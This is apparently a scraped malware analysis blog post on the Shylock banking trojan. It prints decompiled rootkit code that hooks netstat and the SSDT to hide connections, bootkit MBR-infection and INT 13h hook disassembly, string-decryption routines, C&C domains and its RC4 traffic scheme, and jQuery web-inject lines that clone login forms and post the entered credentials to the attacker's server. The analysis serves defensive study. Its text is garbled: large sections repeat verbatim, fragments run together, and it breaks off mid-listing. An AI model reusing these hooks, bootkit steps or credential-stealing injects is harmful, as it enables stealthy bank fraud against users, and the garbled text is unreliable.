EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
IRP_MJ_DEVICE_CONTROL
dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL
dispatch routine within TCP driver.netstat
- a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat
tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.netstat
is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP
-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N
from the list is made by rewriting its contents with the contents of the element N+1
, and then decrementing the total number of list elements by 1
. As a result, the list of enumerated connections that is returned by netstat
will never contain any active connections that are held by Shylock's user-mode components.if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&uniTcpDevice,
1u,
&FileObject,
&DeviceObject); // return device object
status2 = status;
if (status >= 0) // if status is OK
{
driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP: // swap original pointer with the hook
_InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
hook_IRP_MJ_DEVICE_CONTROL);
return 0;
}
return 0;
}
exit:
ms_exc.disabled = -1;
return status;
}
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,
64,
0,
0,
IoDriverObjectType,
0,
0,
&pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
goto exit;
}
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
// MajorFunction[IRP_MJ_DEVICE_CONTROL]
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
goto replace_original_IRP; // get the hooked DeviceIoControl,
// and swap it with the original one
}
+0x70
offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL]
within the driver object.#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
..
typedef struct _DRIVER_OBJECT {
/* 2 */ CSHORT Type; // offset = 0x00
/* 2 */ CSHORT Size; // offset = 0x02
/* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
/* 4 */ ULONG Flags; // offset = 0x08
/* 4 */ PVOID DriverStart; // offset = 0x0c
/* 4 */ ULONG DriverSize; // offset = 0x10
/* 4 */ PVOID DriverSection; // offset = 0x14
/* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
/* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
/* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
/* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
/* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
/* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
/* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
/* 4 */ PDRIVER_DISPATCH
MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;
MajorFunction
list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c
elements, and its offset in the structure is 0x38
. To find out what dispatch routine is references by the offset 0x70
, the offset 0x70
needs to be subtracted with 0x38
(list's offset within the structure), and divided by 4
(size of each pointer within the list):(0x70 - 0x38) / 4 = 0x0e
15
th (0x0e
) element of the dispatch routines is declared as:#define IRP_MJ_DEVICE_CONTROL 0x0e
netstat
.N
-th TCP entry with the TCP entry N+1
(TcpEntry[i]
<- data-blogger-escaped-code="">TcpEntry[i+1]):139
(or 0x8B00
after applying htons() to it). As a result, any connections that involve port 139
disappear from the netstat
output:IRP
hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL
dispatch routines of Tcp
and Nsi Proxy
drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:KeServiceDescriptorTable
patching is surrounded with a conventional cli
/sti
blocks: the cli
-block disables interrupts and removes the write protection, the sti
-block restores everything back:.text:000130AC cli ; disable interrupts
.text:000130AD mov eax, cr0 ; get CR0
.text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
; allows supervisor-level procedures
; to write into read-only pages
.text:000130B5 mov cr0, eax ; save it back into CR0
.text:000130B8 mov eax, KeServiceDescriptorTable
.text:000130BD mov eax, [eax]
.text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6 mov eax, KeServiceDescriptorTable
.text:000130CB mov eax, [eax]
.text:000130CD mov ecx, [ebp+var_14]
.text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7 mov eax, KeServiceDescriptorTable
.text:000130DC mov eax, [eax]
.text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5 mov eax, KeServiceDescriptorTable
.text:000130EA mov eax, [eax]
.text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
.text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
.text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
; writing into read-only pages;
.text:000130FB mov cr0, eax ; save it back into CR0
.text:000130FE sti ; allow interrupts
hook_ZwQuerySystemInformation
is handling those ZwQuerySystemInformation()
calls that query for SystemProcessInformation
type of system information, and is basically a rip-off of Greg Hoglund's process hider.Skype Control API
that uses window messages for communication with Skype.SkypeControlAPIDiscover
message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach
message.Control API
by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow
, second is Deny
. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:main.db
file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.netstat
any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.C:\GRLDR
C:\XELDZ
FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
\\.\PhysicalDrive0
DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)
.55AA
- a signature that identifies a bootable drive..text:004024E9 xor ebx, ebx ; EBX is 0
...
.text:0040255E push ebx ; dwMoveMethod = 0
.text:0040255F push ebx ; lpDistanceToMoveHigh = 0
.text:00402560 push ebx ; lDistanceToMove = 0
.text:00402561 push edi ; hFile
.text:00402562 call ds:SetFilePointer ; set pointer at offset 0
.text:00402568 push ebx ; lpOverlapped
.text:00402569 lea eax, [ebp+NumberOfBytesRead]
.text:0040256C push eax ; lpNumberOfBytesRead
.text:0040256D push 512 ; nNumberOfBytesToRead
.text:00402572 lea eax, [ebp+Buffer]
.text:00402578 push eax ; lpBuffer
.text:00402579 push edi ; hFile
.text:0040257A call ds:ReadFile ; read 512 bytes
.text:00402580 call esi ; GetLastError
.text:00402582 test eax, eax
.text:00402584 jnz next_drive ; if error, skip it
.text:0040258A mov eax, 0AA55h ; compare last 2 bytes
.text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
.text:00402596 jnz short close_handle_next_drive
57
.58
, #59
, #60
, #61
, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end)./c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul
-n
switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.58
, #59
, #60
, #61
into the memory at 0x7E00
that immediately follows the MBR code loaded at address 0x7c00
. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.0x9E000
, that is formed as segment register * 16 +
offset of 0
:0x9E00 << 4 + 0 = 0x9E000
.0x5c
. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57
into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0
.0x10D
till 0x18F
, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT
) #13h
- this interrupt is used to read sectors.INT 13h
hook handler is decoded, the original INT 13h
vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0
:MEM:9E0F0 mov eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
MEM:9E0FF mov word ptr ds:offset_4e, es
MEM:9E103 sti
MEM:9E104 popad
MEM:9E106 pop ds
MEM:9E107 pop sp
MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)
INT 13h
replaced, the original vector stored at ds:offset_4c
will now contain 9E10D
- the address of the INT 13h
hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h
call will eventually be invoked by MBR code - this is when the hook handler will be activated.INT 13H
hook handler is interested in 2 types of INT 13
- normal sector read and an extended one used with the larger disks, as shown below:MEM:9E10D Int13Hook proc far
MEM:9E10D pushf ; handle two types of INT 13 below:
MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111 jz short Int13Hook_ReadRequest
MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116 jz short Int13Hook_ReadRequest
MEM:9E118 popf
MEM:9E119
MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123 popf
MEM:9E124 pushf ; push Flags, simulating INT
MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A jb short Int13Hook_ret ; quit if failed
MEM:9E12C pushf
MEM:9E12D cli
MEM:9E12E push es
MEM:9E12F pusha
MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131 [mov ah, ??] operand, 0 by default
MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135 jnz short Int13Hook_notextread
MEM:9E137 lodsw
MEM:9E138 lodsw
MEM:9E139 les bx, [si]
MEM:9E13B assume es:nothing
OSLOADER
module (part of NTLDR
) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER
is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.F0 85 F6 74 21 80
, as shown below:MEM:9E149 Int13Hook_scan_loop:
MEM:9E149 repne scasb
MEM:9E14B jnz short Int13Hook_scan_done
MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155 jnz short Int13Hook_scan_loop
MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
MEM:9E15D jnz short Int13Hook_scan_loop
.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F 8B F0 mov esi, eax
.text:00422A71 85 F6 test esi, esi
.text:00422A73 74 21 jz short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0
OSLOADER
, the kernel patch from the sector #58
is applied to the loader, by directly overwriting its bytes:.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
.text:00422A74 FF D0 call eax ; off_9E233
.text:00422A76 90 nop
.text:00422A77 90 nop
.text:00422A78 90 nop
.text:00422A79 90 nop
.text:00422A7A 90 nop
.text:00422A7B 90 nop
.text:00422A7C 90 nop
.....
off_9E233
points to the code loaded from the sectors #58
-#61
, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER
, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.0x2FE483F3
for an enumerated driver vmscsi.sys
(part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3
, and in case of a match, it quits.GetCommandLineA()
is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E
:DWORD GetHash(char *szApi)
{
DWORD dwHash = 0;
for (DWORD i = 0; i < strlen(szApi); i++)
{
BYTE b = szApi[i];
dwHash ^= b;
__asm
{
ror dwHash, 3
}
if (b == 0)
{
break;
}
}
return dwHash;
}
svchost.exe
and starts a remote thread in it.FIREFOX.EXE
), it will load nss3.dll
and nspr4.dll
. Next, it will place these hooks:IEXPLORE.EXE
), it will load mshtml.dll
and then place following hooks:EXPLORER.EXE
) or system processes USERINIT.EXE
or RUNDLL32.EXE
, then it will hook:user.js
files found in %APPDATA%\Mozilla\Firefox\Profiles
directory, thus manipulating the following security settings of the Firefox browser:security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.https://wguards.cc/ping.html
https://hiprotections.su/ping.html
https://iprotections.su/ping.html
/files/hidden7770777.jpg
int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
int iResult;
int iCount;
if (szString)
{
iCount = 0;
if ((BYTE)dwKey ^ *(LPBYTE)szString)
{
do
{
++iCount;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
}
iResult = iCount;
}
else
{
iResult = 0;
}
return iResult;
}
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
char b1;
char b2;
bool bEndOfString;
if (szEncrypted)
{
while (1)
{
b1 = *(LPBYTE)szEncrypted;
b2 = dwKey ^ *(LPBYTE)szEncrypted;
*(LPBYTE)szEncrypted = b2;
if (iFlag == 1)
{
bEndOfString = b2 == 0;
}
else
{
if (iFlag)
{
goto skip_check;
}
bEndOfString = b1 == 0;
}
if (bEndOfString)
{
return;
}
skip_check:
szEncrypted = (char *)szEncrypted + 1;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
}
}
char szTest[] = "\xE7\xEB\xBB\x91" // key
"\x00\x00\x00\x00" // 4 zeroes
"\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
"\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
"\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";
if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
DecodeString(szTest + 8, *(DWORD*)szTest, 1);
MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}
wguards.cc
becomes ei0nciwerq7q8.wguards.cc
.ca5f2abe
' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z=
URL parameter in it, e.g.:http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]
[encrypted_data]
is a result of:url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))
z=
parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe
' string appended and used as a password, then url-unescapes the resulting data which is a plain text.rc4_init()
and rc4_crypt()
, published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:cmpinfo
' data is accompanied with a control sum and a hash to ensure data integrity ('key
' and 'id
'), it shows an installation mode ('master
'), botnet name ('net2
'), command name ('log
'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.svchost.exe
and explorer.exe
and runs a self-termination batch script, thus quitting its 'installation' phase of running.cmd
' (command) parameter set to 'cfg
' (configuration).net=net2&cmd=cfg
', then feed it to the debugged code to calculate the 'key
' and 'id
' parameters for us. The resulting request will be:key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg
https://y85rqmnuemzxu5z.iprotections.su/ping.html
, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe
', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:id
' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391
' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:<hijackcfg>
<botnet name="net2"/>
<timer_cfg success="1200" fail="1200"/>
<timer_log success="600" fail="600"/>
<timer_ping success="1200" fail="1200"/>
<urls_server>
<url_server url="https://protections.cc/ping.html"/>
<url_server url="https://eprotections.su/ping.html"/>
<url_server url="https://iprotections.su/ping.html"/>
</urls_server>
... and so onhttpinject
' parameter specified as:<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.
style="display:none;"In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's
.clone()
command:var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');The screenshot below shows the result of such cloning:
jQuery(this).hide();Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
XDomainRequest()
).EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
IRP_MJ_DEVICE_CONTROL
dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL
dispatch routine within TCP driver.netstat
- a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat
tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.netstat
is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP
-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N
from the list is made by rewriting its contents with the contents of the element N+1
, and then decrementing the total number of list elements by 1
. As a result, the list of enumerated connections that is returned by netstat
will never contain any active connections that are held by Shylock's user-mode components.if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&uniTcpDevice,
1u,
&FileObject,
&DeviceObject); // return device object
status2 = status;
if (status >= 0) // if status is OK
{
driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP: // swap original pointer with the hook
_InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
hook_IRP_MJ_DEVICE_CONTROL);
return 0;
}
return 0;
}
exit:
ms_exc.disabled = -1;
return status;
}
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,
64,
0,
0,
IoDriverObjectType,
0,
0,
&pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
goto exit;
}
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
// MajorFunction[IRP_MJ_DEVICE_CONTROL]
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
goto replace_original_IRP; // get the hooked DeviceIoControl,
// and swap it with the original one
}
+0x70
offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL]
within the driver object.#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
..
typedef struct _DRIVER_OBJECT {
/* 2 */ CSHORT Type; // offset = 0x00
/* 2 */ CSHORT Size; // offset = 0x02
/* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
/* 4 */ ULONG Flags; // offset = 0x08
/* 4 */ PVOID DriverStart; // offset = 0x0c
/* 4 */ ULONG DriverSize; // offset = 0x10
/* 4 */ PVOID DriverSection; // offset = 0x14
/* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
/* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
/* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
/* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
/* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
/* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
/* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
/* 4 */ PDRIVER_DISPATCH
MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;
MajorFunction
list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c
elements, and its offset in the structure is 0x38
. To find out what dispatch routine is references by the offset 0x70
, the offset 0x70
needs to be subtracted with 0x38
(list's offset within the structure), and divided by 4
(size of each pointer within the list):(0x70 - 0x38) / 4 = 0x0e
15
th (0x0e
) element of the dispatch routines is declared as:#define IRP_MJ_DEVICE_CONTROL 0x0e
netstat
.N
-th TCP entry with the TCP entry N+1
(TcpEntry[i]
<- data-blogger-escaped-code="">TcpEntry[i+1]):139
(or 0x8B00
after applying htons() to it). As a result, any connections that involve port 139
disappear from the netstat
output:IRP
hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL
dispatch routines of Tcp
and Nsi Proxy
drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:KeServiceDescriptorTable
patching is surrounded with a conventional cli
/sti
blocks: the cli
-block disables interrupts and removes the write protection, the sti
-block restores everything back:.text:000130AC cli ; disable interrupts
.text:000130AD mov eax, cr0 ; get CR0
.text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
; allows supervisor-level procedures
; to write into read-only pages
.text:000130B5 mov cr0, eax ; save it back into CR0
.text:000130B8 mov eax, KeServiceDescriptorTable
.text:000130BD mov eax, [eax]
.text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6 mov eax, KeServiceDescriptorTable
.text:000130CB mov eax, [eax]
.text:000130CD mov ecx, [ebp+var_14]
.text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7 mov eax, KeServiceDescriptorTable
.text:000130DC mov eax, [eax]
.text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5 mov eax, KeServiceDescriptorTable
.text:000130EA mov eax, [eax]
.text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
.text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
.text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
; writing into read-only pages;
.text:000130FB mov cr0, eax ; save it back into CR0
.text:000130FE sti ; allow interrupts
hook_ZwQuerySystemInformation
is handling those ZwQuerySystemInformation()
calls that query for SystemProcessInformation
type of system information, and is basically a rip-off of Greg Hoglund's process hider.Skype Control API
that uses window messages for communication with Skype.SkypeControlAPIDiscover
message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach
message.Control API
by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow
, second is Deny
. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:main.db
file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.netstat
any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.C:\GRLDR
C:\XELDZ
FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
\\.\PhysicalDrive0
DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)
.55AA
- a signature that identifies a bootable drive..text:004024E9 xor ebx, ebx ; EBX is 0
...
.text:0040255E push ebx ; dwMoveMethod = 0
.text:0040255F push ebx ; lpDistanceToMoveHigh = 0
.text:00402560 push ebx ; lDistanceToMove = 0
.text:00402561 push edi ; hFile
.text:00402562 call ds:SetFilePointer ; set pointer at offset 0
.text:00402568 push ebx ; lpOverlapped
.text:00402569 lea eax, [ebp+NumberOfBytesRead]
.text:0040256C push eax ; lpNumberOfBytesRead
.text:0040256D push 512 ; nNumberOfBytesToRead
.text:00402572 lea eax, [ebp+Buffer]
.text:00402578 push eax ; lpBuffer
.text:00402579 push edi ; hFile
.text:0040257A call ds:ReadFile ; read 512 bytes
.text:00402580 call esi ; GetLastError
.text:00402582 test eax, eax
.text:00402584 jnz next_drive ; if error, skip it
.text:0040258A mov eax, 0AA55h ; compare last 2 bytes
.text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
.text:00402596 jnz short close_handle_next_drive
57
.58
, #59
, #60
, #61
, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end)./c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul
-n
switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.58
, #59
, #60
, #61
into the memory at 0x7E00
that immediately follows the MBR code loaded at address 0x7c00
. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.0x9E000
, that is formed as segment register * 16 +
offset of 0
:0x9E00 << 4 + 0 = 0x9E000
.0x5c
. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57
into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0
.0x10D
till 0x18F
, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT
) #13h
- this interrupt is used to read sectors.INT 13h
hook handler is decoded, the original INT 13h
vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0
:MEM:9E0F0 mov eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
MEM:9E0FF mov word ptr ds:offset_4e, es
MEM:9E103 sti
MEM:9E104 popad
MEM:9E106 pop ds
MEM:9E107 pop sp
MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)
INT 13h
replaced, the original vector stored at ds:offset_4c
will now contain 9E10D
- the address of the INT 13h
hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h
call will eventually be invoked by MBR code - this is when the hook handler will be activated.INT 13H
hook handler is interested in 2 types of INT 13
- normal sector read and an extended one used with the larger disks, as shown below:MEM:9E10D Int13Hook proc far
MEM:9E10D pushf ; handle two types of INT 13 below:
MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
